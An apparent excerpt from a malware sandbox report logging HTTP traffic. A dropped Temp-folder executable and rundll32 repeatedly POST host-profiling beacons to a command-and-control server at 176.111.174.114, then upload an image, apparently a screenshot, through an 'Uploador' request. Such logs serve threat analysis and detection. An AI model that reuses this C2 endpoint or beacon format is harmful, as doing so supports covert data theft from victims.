Apr 28, 2021 23:22:55.807648897 CEST	2688	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	176.111.174.114	80	192.168.2.5	49830	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.908813953 CEST	2688	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	176.111.174.114	80	192.168.2.5	49721	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.150015116 CEST	1573	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.5	49831	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:56.115361929 CEST	2689	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	176.111.174.114	80	192.168.2.5	49831	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:56.212799072 CEST	2689	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.5	49832	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:56.417648077 CEST	2690	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	176.111.174.114	80	192.168.2.5	49832	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:56.523513079 CEST	2690	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.5	49833	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:56.729471922 CEST	2691	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	176.111.174.114	80	192.168.2.5	49833	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:56.838960886 CEST	2691	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.5	49835	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.053813934 CEST	2692	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	176.111.174.114	80	192.168.2.5	49835	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.160803080 CEST	2693	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.5	49836	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.373718023 CEST	2693	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	176.111.174.114	80	192.168.2.5	49836	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.472317934 CEST	2694	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49722	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.362823963 CEST	1574	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.5	49837	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.678097963 CEST	2694	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	176.111.174.114	80	192.168.2.5	49837	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.775396109 CEST	2695	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.5	49838	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:57.997272968 CEST	2695	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	176.111.174.114	80	192.168.2.5	49838	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:58.100200891 CEST	2696	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.5	49839	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:58.317373037 CEST	2697	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.5	49840	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:58.381927013 CEST	2710	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185550 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
